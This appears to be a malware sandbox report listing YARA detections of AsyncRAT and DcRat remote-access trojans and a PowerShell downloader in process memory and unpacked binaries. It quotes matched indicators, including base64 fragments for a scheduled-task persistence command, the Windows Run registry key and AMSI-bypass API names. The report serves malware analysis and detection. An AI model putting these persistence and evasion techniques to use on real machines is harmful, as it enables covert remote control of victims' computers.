Process Memory Space: powershell.exe PID: 6644	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9253d:$b2: ::FromBase64String( 0x99194:$b2: ::FromBase64String( 0x144422:$b2: ::FromBase64String( 0x166fa1:$b2: ::FromBase64String( 0x1671c3:$b2: ::FromBase64String( 0x19719b:$b2: ::FromBase64String( 0x1973bd:$b2: ::FromBase64String( 0x2721fd:$b2: ::FromBase64String( 0x2725a5:$b2: ::FromBase64String( 0x272f34:$b2: ::FromBase64String( 0x273156:$b2: ::FromBase64String( 0x275a08:$b2: ::FromBase64String( 0x2831c9:$b2: ::FromBase64String( 0x287373:$b2: ::FromBase64String( 0x2bb624:$b2: ::FromBase64String( 0x2bb847:$b2: ::FromBase64String( 0x2bbc79:$b2: ::FromBase64String( 0x2bc057:$b2: ::FromBase64String( 0xb276:$s1: -join 0x1834b:$s1: -join 0x1b71d:$s1: -join
Process Memory Space: powershell.exe PID: 7896	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 7896	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7896	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x6d2ad:$a1: havecamera 0x71b71:$b1: DcRatByqwqdanchun
Process Memory Space: powershell.exe PID: 7896	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x75187:$b2: ::FromBase64String( 0x753b5:$b2: ::FromBase64String( 0x757c8:$b2: ::FromBase64String( 0x75bb1:$b2: ::FromBase64String( 0xf35c6:$b2: ::FromBase64String( 0xf37f3:$b2: ::FromBase64String( 0x12a275:$b2: ::FromBase64String( 0x12a4a3:$b2: ::FromBase64String( 0x12ad9c:$b2: ::FromBase64String( 0x12b0f8:$b2: ::FromBase64String( 0x12b38f:$b2: ::FromBase64String( 0x12c51b:$b2: ::FromBase64String( 0x12c8e4:$b2: ::FromBase64String( 0x12cd72:$b2: ::FromBase64String( 0x12d12f:$b2: ::FromBase64String( 0x12d4bb:$b2: ::FromBase64String( 0x12e70e:$b2: ::FromBase64String( 0x12ee65:$b2: ::FromBase64String( 0x12f04a:$b2: ::FromBase64String( 0x12f23f:$b2: ::FromBase64String( 0x13d579:$b2: ::FromBase64String(
Process Memory Space: RegSvcs.exe PID: 3872	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 3872	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: RegSvcs.exe PID: 3872	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x214d4:$a1: havecamera 0x3e2d:$b1: DcRatByqwqdanchun 0x260c3:$b1: DcRatByqwqdanchun 0x1093:$b2: DcRat By qwqdanchun1 0x8112:$b2: DcRat By qwqdanchun1
Process Memory Space: powershell.exe PID: 7728	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 7728	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7728	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1142fe:$a1: havecamera 0x118bc2:$b1: DcRatByqwqdanchun
Process Memory Space: powershell.exe PID: 7728	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x31d43:$b2: ::FromBase64String( 0x31f78:$b2: ::FromBase64String( 0x397a8:$b2: ::FromBase64String( 0x74966:$b2: ::FromBase64String( 0x77402:$b2: ::FromBase64String( 0x77630:$b2: ::FromBase64String( 0x77a0f:$b2: ::FromBase64String( 0x77d88:$b2: ::FromBase64String( 0x7819b:$b2: ::FromBase64String( 0x784c2:$b2: ::FromBase64String( 0x78776:$b2: ::FromBase64String( 0x7a28e:$b2: ::FromBase64String( 0x7a95f:$b2: ::FromBase64String( 0x7ab8d:$b2: ::FromBase64String( 0x7afa8:$b2: ::FromBase64String( 0x7b391:$b2: ::FromBase64String( 0x7b600:$b2: ::FromBase64String( 0x7ea58:$b2: ::FromBase64String( 0x7ec85:$b2: ::FromBase64String( 0xaaa0e:$b2: ::FromBase64String( 0xaad99:$b2: ::FromBase64String(
Process Memory Space: RegSvcs.exe PID: 7484	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x267f0:$b1: DcRatByqwqdanchun 0x16d:$b2: DcRat By qwqdanchun1 0x1e65c:$b2: DcRat By qwqdanchun1
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.powershell.exe.155dc4f0000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.155dc4f0000.4.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
26.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
26.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x9af0:$a2: timeout 3 > NUL 0x9b10:$a3: START "" " 0x999b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
26.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x999b:$s2: L2Mgc2NodGFza3MgL2 0x991a:$s3: QW1zaVNjYW5CdWZmZXI 0x9968:$s4: VmlydHVhbFByb3RlY3Q
26.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cd2:$q1: Select * from Win32_CacheMemory 0x9d12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9dae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
26.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa14a:$s1: DcRatBy
19.2.powershell.exe.240c11b51a0.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.240c11b51a0.1.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47f7:$a1: havecamera 0x7cf0:$a2: timeout 3 > NUL 0x7d10:$a3: START "" " 0x7b9b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7c50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
19.2.powershell.exe.240c11b51a0.1.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7c50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b9b:$s2: L2Mgc2NodGFza3MgL2 0x7b1a:$s3: QW1zaVNjYW5CdWZmZXI 0x7b68:$s4: VmlydHVhbFByb3RlY3Q
19.2.powershell.exe.240c11b51a0.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7ed2:$q1: Select * from Win32_CacheMemory 0x7f12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7f60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7fae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
19.2.powershell.exe.240c11b51a0.1.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x834a:$s1: DcRatBy
33.2.powershell.exe.1c03cb43b98.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
33.2.powershell.exe.1c03cb43b98.2.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47f7:$a1: havecamera 0x7cf0:$a2: timeout 3 > NUL 0x7d10:$a3: START "" " 0x7b9b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7c50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
33.2.powershell.exe.1c03cb43b98.2.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7c50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b9b:$s2: L2Mgc2NodGFza3MgL2 0x7b1a:$s3: QW1zaVNjYW5CdWZmZXI 0x7b68:$s4: VmlydHVhbFByb3RlY3Q
33.2.powershell.exe.1c03cb43b98.2.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7ed2:$q1: Select * from Win32_CacheMemory 0x7f12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7f60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7fae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
33.2.powershell.exe.1c03cb43b98.2.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x834a:$s1: DcRatBy
4.2.powershell.exe.155c41c7c80.2.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.155c41c7c80.2.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47f7:$a1: havecamera 0x7cf0:$a2: timeout 3 > NUL 0x7d10:$a3: START "" " 0x7b9b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7c50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.155c41c7c80.2.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7c50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b9b:$s2: L2Mgc2NodGFza3MgL2 0x7b1a:$s3: QW1zaVNjYW5CdWZmZXI 0x7b68:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.155c41c7c80.2.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7ed2:$q1: Select * from Win32_CacheMemory 0x7f12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7f60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7fae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.155c41c7c80.2.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x834a:$s1: DcRatBy
33.2.powershell.exe.1c03cb40780.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
33.2.powershell.exe.1c03cb40780.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x9a0f:$a1: havecamera 0x169d7:$a1: havecamera 0xcf08:$a2: timeout 3 > NUL 0x19ed0:$a2: timeout 3 > NUL 0xcf28:$a3: START "" " 0x19ef0:$a3: START "" " 0xcdb3:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x19d7b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xce68:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x19e30:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
33.2.powershell.exe.1c03cb40780.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0xce68:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x19e30:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0xcdb3:$s2: L2Mgc2NodGFza3MgL2 0x19d7b:$s2: L2Mgc2NodGFza3MgL2 0xcd32:$s3: QW1zaVNjYW5CdWZmZXI 0x19cfa:$s3: QW1zaVNjYW5CdWZmZXI 0xcd80:$s4: VmlydHVhbFByb3RlY3Q 0x19d48:$s4: VmlydHVhbFByb3RlY3Q
33.2.powershell.exe.1c03cb40780.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd0ea:$q1: Select * from Win32_CacheMemory 0x1a0b2:$q1: Select * from Win32_CacheMemory 0xd12a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1a0f2:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd178:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1a140:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd1c6:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x1a18e:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
33.2.powershell.exe.1c03cb40780.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd562:$s1: DcRatBy 0x1a52a:$s1: DcRatBy
33.2.powershell.exe.1c03cb43b98.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
33.2.powershell.exe.1c03cb43b98.2.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x135bf:$a1: havecamera 0x9af0:$a2: timeout 3 > NUL 0x16ab8:$a2: timeout 3 > NUL 0x9b10:$a3: START "" " 0x16ad8:$a3: START "" " 0x999b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16963:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x16a18:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
33.2.powershell.exe.1c03cb43b98.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16a18:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x999b:$s2: L2Mgc2NodGFza3MgL2 0x16963:$s2: L2Mgc2NodGFza3MgL2 0x991a:$s3: QW1zaVNjYW5CdWZmZXI 0x168e2:$s3: QW1zaVNjYW5CdWZmZXI 0x9968:$s4: VmlydHVhbFByb3RlY3Q 0x16930:$s4: VmlydHVhbFByb3RlY3Q
33.2.powershell.exe.1c03cb43b98.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cd2:$q1: Select * from Win32_CacheMemory 0x16c9a:$q1: Select * from Win32_CacheMemory 0x9d12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x16cda:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x16d28:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9dae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x16d76:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
33.2.powershell.exe.1c03cb43b98.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa14a:$s1: DcRatBy 0x17112:$s1: DcRatBy
4.2.powershell.exe.155c41c7c80.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.155c41c7c80.2.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x126bf:$a1: havecamera 0x9af0:$a2: timeout 3 > NUL 0x15bb8:$a2: timeout 3 > NUL 0x9b10:$a3: START "" " 0x15bd8:$a3: START "" " 0x999b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x15a63:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x15b18:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.155c41c7c80.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x15b18:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x999b:$s2: L2Mgc2NodGFza3MgL2 0x15a63:$s2: L2Mgc2NodGFza3MgL2 0x991a:$s3: QW1zaVNjYW5CdWZmZXI 0x159e2:$s3: QW1zaVNjYW5CdWZmZXI 0x9968:$s4: VmlydHVhbFByb3RlY3Q 0x15a30:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.155c41c7c80.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cd2:$q1: Select * from Win32_CacheMemory 0x15d9a:$q1: Select * from Win32_CacheMemory 0x9d12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x15dda:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x15e28:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9dae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x15e76:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.155c41c7c80.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa14a:$s1: DcRatBy 0x16212:$s1: DcRatBy
4.2.powershell.exe.155c41c4868.3.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.155c41c4868.3.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x9a0f:$a1: havecamera 0x15ad7:$a1: havecamera 0xcf08:$a2: timeout 3 > NUL 0x18fd0:$a2: timeout 3 > NUL 0xcf28:$a3: START "" " 0x18ff0:$a3: START "" " 0xcdb3:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x18e7b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xce68:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x18f30:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.155c41c4868.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0xce68:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x18f30:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0xcdb3:$s2: L2Mgc2NodGFza3MgL2 0x18e7b:$s2: L2Mgc2NodGFza3MgL2 0xcd32:$s3: QW1zaVNjYW5CdWZmZXI 0x18dfa:$s3: QW1zaVNjYW5CdWZmZXI 0xcd80:$s4: VmlydHVhbFByb3RlY3Q 0x18e48:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.155c41c4868.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd0ea:$q1: Select * from Win32_CacheMemory 0x191b2:$q1: Select * from Win32_CacheMemory 0xd12a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x191f2:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd178:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x19240:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd1c6:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x1928e:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.155c41c4868.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd562:$s1: DcRatBy 0x1962a:$s1: DcRatBy
19.2.powershell.exe.240c11b1d88.2.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.240c11b1d88.2.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x9a0f:$a1: havecamera 0x15ad7:$a1: havecamera 0xcf08:$a2: timeout 3 > NUL 0x18fd0:$a2: timeout 3 > NUL 0xcf28:$a3: START "" " 0x18ff0:$a3: START "" " 0xcdb3:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x18e7b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0xce68:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x18f30:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
19.2.powershell.exe.240c11b1d88.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0xce68:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x18f30:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0xcdb3:$s2: L2Mgc2NodGFza3MgL2 0x18e7b:$s2: L2Mgc2NodGFza3MgL2 0xcd32:$s3: QW1zaVNjYW5CdWZmZXI 0x18dfa:$s3: QW1zaVNjYW5CdWZmZXI 0xcd80:$s4: VmlydHVhbFByb3RlY3Q 0x18e48:$s4: VmlydHVhbFByb3RlY3Q
19.2.powershell.exe.240c11b1d88.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0xd0ea:$q1: Select * from Win32_CacheMemory 0x191b2:$q1: Select * from Win32_CacheMemory 0xd12a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x191f2:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0xd178:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x19240:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0xd1c6:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x1928e:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
19.2.powershell.exe.240c11b1d88.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xd562:$s1: DcRatBy 0x1962a:$s1: DcRatBy
19.2.powershell.exe.240c11b51a0.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
19.2.powershell.exe.240c11b51a0.1.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65f7:$a1: havecamera 0x126bf:$a1: havecamera 0x9af0:$a2: timeout 3 > NUL 0x15bb8:$a2: timeout 3 > NUL 0x9b10:$a3: START "" " 0x15bd8:$a3: START "" " 0x999b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x15a63:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x9a50:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x15b18:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
19.2.powershell.exe.240c11b51a0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x9a50:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x15b18:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x999b:$s2: L2Mgc2NodGFza3MgL2 0x15a63:$s2: L2Mgc2NodGFza3MgL2 0x991a:$s3: QW1zaVNjYW5CdWZmZXI 0x159e2:$s3: QW1zaVNjYW5CdWZmZXI 0x9968:$s4: VmlydHVhbFByb3RlY3Q 0x15a30:$s4: VmlydHVhbFByb3RlY3Q
19.2.powershell.exe.240c11b51a0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9cd2:$q1: Select * from Win32_CacheMemory 0x15d9a:$q1: Select * from Win32_CacheMemory 0x9d12:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x15dda:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9d60:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x15e28:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9dae:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x15e76:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
19.2.powershell.exe.240c11b51a0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa14a:$s1: DcRatBy 0x16212:$s1: DcRatBy
19.2.powershell.exe.240c0f59258.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.powershell.exe.240c0f59258.0.raw.unpack	MALWARE_Win_DLAgent09	Detects known downloader agent	ditekSHen	0x1726:$h2: //:sptth 0x157e7c:$h2: //:sptth 0xfc1:$s1: DownloadString 0xe27:$s2: StrReverse 0xfb0:$s3: FromBase64String 0x1237:$s4: WebClient
